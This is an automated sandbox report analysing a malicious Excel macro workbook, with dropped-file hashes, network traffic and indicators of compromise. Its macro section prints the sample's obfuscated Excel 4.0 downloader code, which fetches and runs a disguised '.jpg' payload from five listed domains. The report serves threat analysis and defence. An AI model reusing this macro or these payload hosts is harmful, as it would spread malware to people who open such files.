50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.107.2.98	unknown	United States		397423	TIER-NETUS	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	343866
Start date:	25.01.2021
Start time:	18:14:13
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Refusal-743510550-01212021.xlsm
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Potential for more IOCs and behavior
Number of analysed new started processes analysed:	27
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal84.troj.expl.evad.winXLSM@3/11@1/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsm Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 23.211.6.115, 104.43.193.48, 52.109.32.63, 52.109.88.40, 52.109.8.23, 95.101.184.67, 51.104.139.180, 92.122.213.194, 92.122.213.247, 52.155.217.156, 20.54.26.129 Excluded domains from analysis (whitelisted): prod-w.nexus.live.com.akadns.net, arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, e12564.dspb.akamaiedge.net, nexus.officeapps.live.com, officeclient.microsoft.com, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, prod.configsvc1.live.com.akadns.net, displaycatalog.md.mp.microsoft.com.akadns.net, ris-prod.trafficmanager.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, store-images.s-microsoft.com, config.officeapps.live.com, blobcollector.events.data.trafficmanager.net, europe.configsvc1.live.com.akadns.net

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
172.107.2.98	Refusal-376547573-01212021.xlsm	Get hash	malicious	Browse	www.toteteca.com/qzkiodlofm/5555555555.jpg
172.107.2.98	Refusal-828813764-01212021.xlsm	Get hash	malicious	Browse	www.toteteca.com/qzkiodlofm/5555555555.jpg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TIER-NETUS	Refusal-376547573-01212021.xlsm	Get hash	malicious	Browse	172.107.2.98
	Refusal-828813764-01212021.xlsm	Get hash	malicious	Browse	172.107.2.98
	https://rmkcleaning.co.uk/	Get hash	malicious	Browse	198.37.123.126
	Yx9bjnQEEl.exe	Get hash	malicious	Browse	154.16.168.6
	sKu7FoPlk3.exe	Get hash	malicious	Browse	204.14.92.16
	A7UvjUai3s.doc	Get hash	malicious	Browse	104.149.216.158

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\47DB79C7-3182-45D7-9E77-20E9958CA999 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	132942
Entropy (8bit):	5.372916744060495
Encrypted:	false
SSDEEP:	1536:8cQceNgaBtA3gZw+pQ9DQW+zAUH34ZldpKWXboOilXPErLL8Eh:yrQ9DQW+zBX8P
MD5:	37B822D30C176B83115E9B7967DE378F
SHA1:	F6D25F650A96F04BE421B67CE200642D59066B37
SHA-256:	FC89D4B415061D0149071738FCE0A03DB2D1B0CA55698B204B0FF6990F475068
SHA-512:	5AA435BF5F6E6E1FF3155DE872B8F2521E3950C5A7A34E8B1CFE300727A62896E4D3136B33F29F5500F91535DC71E545C1C65299ECCF5F13C29C20DF1DB0E99C
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-01-25T17:15:15">.. Build: 16.0.13720.30526-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\2CBD62F1.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.595467031611744
Encrypted:	false
SSDEEP:	24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc
MD5:	02DB1068B56D3FD907241C2F3240F849
SHA1:	58EC338C879DDBDF02265CBEFA9A2FB08C569D20
SHA-256:	D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F
SHA-512:	9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8O.T]H.Q..;3...?..fk.lR..R$.R.Pb.Q...B..OA..T$.hAD...J../..-h...fj..+....;s.vg.Zsw.=...{.w.s.w.@.....;..s...O........;.y.p........,...s1@ Ir.:... .>.LLa..b?h...l.6..U....1....r.....T..O.d.KSA...7.YS..a.(F@....xe.^.I..$h....PpJ...k%.....9..QQ....h..!H................./....2..J2..HG....A....Q&...k...d..&..Xa.t..E....E..f2.d(..v.~.P.+.pik+;...xEU.g....._xfw...+...(..pQ.(..(.U./..)..@..?..........f.'...lx+@F...+....)..k.A2...r~B,....TZ..y..9...`..0....q....yY....Q.......A.....8j[.O9..t..&...g. I@ ..;..X!...9S.J5..'.xh...8I.~.+...mf.m.W.i..{...+>P...Rh...+..br^$. q.^.......(..._.j...$..Ar...MZm\|...9..E..!U[S.fDx7<....Wd.......p..C......^MyI:...c.^..SI.mGj,.......!...h..$..;...........yD./..a...-j.^:.}..v....RQY.^......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\39BFA2B0.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 24 x 24, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	557
Entropy (8bit):	7.343009301479381
Encrypted:	false
SSDEEP:	12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd
MD5:	A516B6CB784827C6BDE58BC9D341C1BD
SHA1:	9D602E7248E06FF639E6437A0A16EA7A4F9E6C73
SHA-256:	EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074
SHA-512:	C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............o.......sRGB.........pHYs..........+......IDAT8Oc.......l.9a._.X....@.`ddbc.]...........O..m7.r0\|..."......?A.......w..;.N1u........_.[.\Y...BK=...F +.t.M~..oX..%....211o.q.P.".......y...../..l.r...4..Q]..h.....LL.d.......d....w.>{.e..k.7.9y.%.. .YpI...{.+Kv......./..\[...A....^.5c..O?.......G...VB..4HWY...9NU...?..S..$..1..6.U.....c... ....7..J. "M..5. ............_.......d.V.W.c.....Y.A..S....~.C.....q........t?..."n.....4......G_......Q..x..W.!L.a...3....MR.\|.-P#P;..p._.......jUG....X........IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4B8458AB.png Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	PNG image data, 205 x 58, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	8301
Entropy (8bit):	7.970711494690041
Encrypted:	false
SSDEEP:	192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh
MD5:	D8574C9CC4123EF67C8B600850BE52EE
SHA1:	5547AC473B3523BA2410E04B75E37B1944EE0CCC
SHA-256:	ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B
SHA-512:	20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.......:......IJ.....sRGB.........pHYs..........+.... .IDATx^..\....}.\6"Sp...g..9Ks..r..=r.U....Y..l.S.2...Q.'C............h}x........... ......\..N...z....._.\|......III.666...~~~..6l.Q.J...\..m..g.h.SRR.\.p....'N...EEE...X9......c.&M...].n.g4..E..g...w...{..]..;w..I...y.m\...~..;.].3{~..qV.k..._....?..w/$GlI\|..2. m,,,.-[.....sr.V1..g...on...........dl.'...'''[[[.R.......(..^...F.PT.Xq..Mnnn.3..M..g.......6.....pP"#F..P/S.L...W.^..o.r.....5H......111t....\|9..3...`J..>...{..t~/F.b..h.P..]z..)......o..4n.F..e...0!!!......#""h.K..K.....g.......^..w.!.$.&...7n.].F.\\\.A....6lxjj.K/........g.....3g......f....:t..s..5.C4..+W.y...88..?.,Y. .^...8{.@VN.6....Kbch.=zt...7+T....v.z....P........VVV..."t.N......$..Jag.v.U...P[(_.I?.9.4i.G.$U..D......W.r...........!>\|..#G...3..x.b......P....H!.Vj......u.2..*;..Z..c..._Ga....&L.......`.1.[.n].7..W_m..#8k...)U..L.....G..q.F.e>..s.......q....J....(.N.V...k..>m....=.).

C:\Users\user\AppData\Local\Temp\41B10000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	25989
Entropy (8bit):	7.554685274803223
Encrypted:	false
SSDEEP:	384:p8x/WsWMcLW4/WXc48aoVT0QNuzWKPqGnUfbEfAXG:OEs943nW+u7qkbyG
MD5:	B9CC8E8C257DD68F2EFB65DDD1E763A1
SHA1:	811C1A5B0A55575892BC913B02B2264D7ADC033E
SHA-256:	88D3310D342C5E4328EC37A29B4F5BCDFFC966A03816C17CBFCD755ADA2C1F51
SHA-512:	4D353284468BB44D70BDC5F3C95F6AB716E8CFA065831B0402FD7068F2856F227A23582C634BB0B446B6EC3D4FE29D099D0E93F06A29B8A58731DFBE36595826
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q.....>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO\|..1Nym...v.:..CB..y#wg..7.....H...s.......x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Thu Jun 27 16:19:49 2019, mtime=Tue Jan 26 01:15:17 2021, atime=Tue Jan 26 01:15:17 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	904
Entropy (8bit):	4.634216260818898
Encrypted:	false
SSDEEP:	12:8pfZCXUR2cuElPCH2A0PESYKOuBRF+WrjAZ/2bDgc5LC5Lu4t2Y+xIBjKZm:8nCm5OqFAZiDgz87aB6m
MD5:	BBB5D34DE21E7D34E2D35422AFB5E67E
SHA1:	FD76B81546A640B5FDF7F5759E63C2C524A1E7D4
SHA-256:	EFA98A2A021B8DEE2E4D41E1A5BE2FE287EEB0143327C583CF2588E322E8052D
SHA-512:	68CA47F916F4E36C7DE8BEB8342A82009BBFBB2563BE58959B35EF88C6C351B076E7C46C9C287A3A185023D392C84C5E70D4F66B3511DDA842B13C20E852EBCC
Malicious:	false
Reputation:	low
Preview:	L..................F........N....-...."......o....... ......................u....P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..:R......................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny.:R.......S....................V.a.h.a.r.d.z.....~.1.....:R....Desktop.h.......Ny.:R.......Y..............>.......x.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......E...............-.......D...........>.S......C:\Users\user\Desktop........\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...As...`.......X.......320946...........!a..%.H.VZAj...4.4...........-..!a..%.H.VZAj...4.4...........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3.3.2.1.9.3.5.-.2.1.2.5.5.6.3.2.0.9.-.4.0.5.3.0.6.2.3.3.2.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H......K*..@.A..7sFJ............

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Refusal-743510550-01212021.xlsm.LNK Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Sep 30 14:03:43 2020, mtime=Tue Jan 26 01:15:17 2021, atime=Tue Jan 26 01:15:17 2021, length=25989, window=hide
Category:	dropped
Size (bytes):	2280
Entropy (8bit):	4.630058765249564
Encrypted:	false
SSDEEP:	24:8ymY+BFUA5ZQDgsf7aB6myymY+BFUA5ZQDgsf7aB6m:82+n5WeB6p2+n5WeB6
MD5:	8BAE5D7321FCCC048BED151331026209
SHA1:	C7B8CF59439ECDD92C97EF4237D3D555A83081C5
SHA-256:	FFE4058AB11162B4E38FDF1838C9D26197A32740453960F2F6B8392E5FAE0C47
SHA-512:	1C931BE9B1F87FC3E8E598206C613C338A5E3FF0F3A93065CC2E1DBA9913E551C7A79969DDE697807562560E96F2DBD4E48C943D23E5520A47049701A1E5CE15
Malicious:	true
Reputation:	low
Preview:	L..................F.... ...c...:....o.......o.......e...........................P.O. .:i.....+00.../C:\...................x.1......N....Users.d......L..:R......................:.....q\|..U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....P.1.....>Qwx..user.<.......Ny.:R.......S....................V.a.h.a.r.d.z.....~.1.....>Qxx..Desktop.h.......Ny.:R.......Y..............>.....J.+.D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......2.:f..:R.. .REFUSA~1.XLS..p......>Qvx:R......h.....................D...R.e.f.u.s.a.l.-.7.4.3.5.1.0.5.5.0.-.0.1.2.1.2.0.2.1...x.l.s.m.......e...............-.......d...........>.S......C:\Users\user\Desktop\Refusal-743510550-01212021.xlsm..6.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.R.e.f.u.s.a.l.-.7.4.3.5.1.0.5.5.0.-.0.1.2.1.2.0.2.1...x.l.s.m.........:..,.LB.)...As...`.......X.......320946...........!a..%.H.VZAj..._..-.........-..!a..%.H.VZAj..._..-.........-.............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.3.8.5.3

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.696298973662382
Encrypted:	false
SSDEEP:	3:oyBVomxW8ADBa2iCpSvia2iCpSmxW8ADBa2iCpSv:dj4YbCpGHbCpGYbCpc
MD5:	74D96E6F94FA47216C6609AFD4D1442D
SHA1:	C8D6BE4FEBA20B380E27154239440C919D2C7AE8
SHA-256:	4C97924C342D567DBC0D55F9987D8B9FD6F39548B5832B386B3989C6FA104DA4
SHA-512:	B08691BAB15CD949D8B41B54E592C9356C6BFB6C6C59C5CB8D9A07C068D9A1E2898170CD91CF8E1695F13B809AD52F30E12A413A462EF6546DD3122AC881FA18
Malicious:	false
Reputation:	low
Preview:	Desktop.LNK=0..[misc]..Refusal-743510550-01212021.xlsm.LNK=0..Refusal-743510550-01212021.xlsm.LNK=0..[misc]..Refusal-743510550-01212021.xlsm.LNK=0..

C:\Users\user\Desktop\72B10000 Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	25989
Entropy (8bit):	7.554685274803223
Encrypted:	false
SSDEEP:	384:p8x/WsWMcLW4/WXc48aoVT0QNuzWKPqGnUfbEfAXG:OEs943nW+u7qkbyG
MD5:	B9CC8E8C257DD68F2EFB65DDD1E763A1
SHA1:	811C1A5B0A55575892BC913B02B2264D7ADC033E
SHA-256:	88D3310D342C5E4328EC37A29B4F5BCDFFC966A03816C17CBFCD755ADA2C1F51
SHA-512:	4D353284468BB44D70BDC5F3C95F6AB716E8CFA065831B0402FD7068F2856F227A23582C634BB0B446B6EC3D4FE29D099D0E93F06A29B8A58731DFBE36595826
Malicious:	false
Reputation:	low
Preview:	.U.n.0....?..........C....I?`L.%...a...;.....+........pz.r.z.D&.V\4.Q.WA.....m.MT..k..c+.H.j....q.....>..]JR=:.&D.<...A.....j......T.g....C.?p.O6W7+..(../...w.....5.2...^.!..ba...C7.....1;..d.1=`.l.....}.......Hh.8.......Po"}..a(3..........R...i../!-.!,.. %LG5...fH.q.R..0..s`....LC%..v........W...#:.....y.S}....d7.vC9\OO\|..1Nym...v.:..CB..y#wg..7.....H...s.......x..w.........w......R]G.......c...c,.F..[....7.......PK..........!.................[Content_Types].xml ...(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$Refusal-743510550-01212021.xlsm Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	1.6081032063576088
Encrypted:	false
SSDEEP:	3:RFXI6dtBhFXI6dtt:RJZhJ1
MD5:	836727206447D2C6B98C973E058460C9
SHA1:	D83351CF6DE78FEDE0142DE5434F9217C4F285D2
SHA-256:	D9BECB14EECC877F0FA39B6B6F856365CADF730B64E7FA2163965D181CC5EB41
SHA-512:	7F843EDD7DC6230BF0E05BF988D25AE6188F8B22808F2C990A1E8039C0CECC25D1D101E0FDD952722FEAD538F7C7C14EEF9FD7F4B31036C3E7F79DE570CD0607
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	.pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\msdownld.tmp\AS01B7F1.tmp\5555555555.jpg Download File
Process:	C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
File Type:	empty
Category:	dropped
Size (bytes):	0
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	D41D8CD98F00B204E9800998ECF8427E
SHA1:	DA39A3EE5E6B4B0D3255BFEF95601890AFD80709
SHA-256:	E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855
SHA-512:	CF83E1357EEFB8BDF1542850D66D8007D620E4050B5715DC83F4A921D36CE9CE47D0D13C5D85F2B0FF8318D2877EEC2F63B931BD47417A81A538327AF927DA3E
Malicious:	false
Preview:

Static File Info

General
File type:	Microsoft Excel 2007+
Entropy (8bit):	7.559119963027783
TrID:	Excel Microsoft Office Open XML Format document (40004/1) 83.33% ZIP compressed archive (8000/1) 16.67%
File name:	Refusal-743510550-01212021.xlsm
File size:	26170
MD5:	46a087edfdd6cd9f32e71658475bbd80
SHA1:	d5e243201b2b02fd30f5eb96693c5afacd529903
SHA256:	3099fc48fbfb503b607c72c475af8df937b4036a5fdbe430ce2707e7d2388d19
SHA512:	7fa41c8ec8354b1fda49490963cc11447fa72ca8987ff48f00b79225fd32ab6de6d23970d1b54c32b8633443439af35d0f62d4992c410593a6bfb5c5b228671d
SSDEEP:	384:mMfowh92aGcoKKRR6xt7k5SV8m2ylTQ8aoVT0QNuzWKP8WZoms:mMflhQaGc7SsFk5S6f6TfW+u7DZRs
File Content Preview:	PK..........!.................[Content_Types].xml ...(.........................................................................................................................................................................................................

File Icon


Icon Hash:	74ecd0e2f696908c

Static OLE Info

General
Document Type:	OpenXML
Number of OLE Files:	1

OLE File "Refusal-743510550-01212021.xlsm"

Indicators
Has Summary Info:
Application Name:
Encrypted Document:
Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:

Macro 4.0 Code

,,,,,,,,,,,,=B154(),"=FORMULA.FILL(Mols!U54&Mols!U55&Mols!U56&Mols!U57&Mols!U58&Mols!U59,BB53)","=FORMULA.FILL(Mols!AC56,HI18807)","=EXEC(""r""&Mols!AC60&"" ""&Mols!AC59&HG9961)",=B156(),=C156(),=HALT(),"=FORMULA.FILL(Mols!V53&Mols!V54&Mols!V55&Mols!V56&Mols!V57&Mols!V58&Mols!V59&Mols!V60&Mols!V61&Mols!V62&Mols!V63&Mols!V64&Mols!V65&Mols!V66&Mols!V67&Mols!V68&Mols!V69&Mols!V70,HZ48004)","=FORMULA.FILL(Mols!AC57,AN32726)",,=B158(),=C158(),"=REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)","=FORMULA.FILL(Mols!U62&Mols!U63&Mols!U64&Mols!U65&Mols!U66&Mols!U67,HI18898)","=FORMULA.FILL(""BCCJ"",IK16309)","=Niokaser(0,GT17028,AQ4875,0,0)",=B160(),=C160(),,"=FORMULA.FILL(Mols!AC58&B169,GT17028)","=FORMULA.FILL(""Niokaser"",IK4106)","=REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)",=B162(),=C162(),"=Vuolasd(GT17028,AQ4875,1)","=FORMULA.FILL(Mols!AC59,AQ4875)","=FORMULA.FILL(""Vuolasd"",DI7875)",,"=FORMULA.FILL(Mols!AC60,AS41071)",=A158(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(Mols!AC61,HG9961)",,indianhealthtrust.com/yhnqj/5555555555.jpg,=C154(),,destock-optic.fr/cdmhgbfhfwq/5555555555.jpg,,,themagicalfortress.com/bwqbfbse/5555555555.jpg,,,www.toteteca.com/qzkiodlofm/5555555555.jpg,"=INDEX(D165:D169,RANDBETWEEN(1,5))",,christiecentre.com.au/exmpjzwsb/5555555555.jpg

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2021 18:15:19.054480076 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:15:19.229312897 CET	80	49717	172.107.2.98	192.168.2.3
Jan 25, 2021 18:15:19.229507923 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:15:19.230396032 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:15:19.410403013 CET	80	49717	172.107.2.98	192.168.2.3
Jan 25, 2021 18:15:19.774077892 CET	80	49717	172.107.2.98	192.168.2.3
Jan 25, 2021 18:15:19.774235010 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:15:19.805260897 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:15:19.979654074 CET	80	49717	172.107.2.98	192.168.2.3
Jan 25, 2021 18:15:20.318835974 CET	80	49717	172.107.2.98	192.168.2.3
Jan 25, 2021 18:15:20.318990946 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:15:25.323822021 CET	80	49717	172.107.2.98	192.168.2.3
Jan 25, 2021 18:15:25.323972940 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:04.778321028 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:05.260665894 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:06.137185097 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:07.620459080 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:10.573671103 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:16.480372906 CET	49717	80	192.168.2.3	172.107.2.98
Jan 25, 2021 18:17:28.293904066 CET	49717	80	192.168.2.3	172.107.2.98

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 25, 2021 18:15:03.501425028 CET	57544	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:03.549249887 CET	53	57544	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:03.876624107 CET	55984	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:03.937179089 CET	53	55984	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:05.076786995 CET	64185	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:05.133105993 CET	53	64185	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:06.468769073 CET	65110	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:06.516627073 CET	53	65110	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:07.614617109 CET	58361	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:07.662652016 CET	53	58361	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:13.458655119 CET	63492	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:13.509581089 CET	53	63492	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:14.459891081 CET	60831	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:14.524117947 CET	53	60831	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:14.841253996 CET	60100	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:14.901705980 CET	53	60100	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:15.430280924 CET	53195	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:15.488142967 CET	53	53195	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:16.475363970 CET	53195	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:16.531850100 CET	53	53195	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:17.478106976 CET	53195	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:17.534487009 CET	53	53195	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:18.847089052 CET	50141	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:18.997756004 CET	53023	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:19.046256065 CET	53	53023	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:19.051544905 CET	53	50141	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:19.465241909 CET	53195	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:19.522986889 CET	53	53195	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:20.299026012 CET	49563	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:20.347001076 CET	53	49563	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:21.769804001 CET	51352	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:21.818334103 CET	53	51352	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:22.774718046 CET	59349	53	192.168.2.3	8.8.8.8
Jan 25, 2021 18:15:22.822586060 CET	53	59349	8.8.8.8	192.168.2.3
Jan 25, 2021 18:15:23.487117052 CET	53195	53	192.168.2.3	8.8.8.8
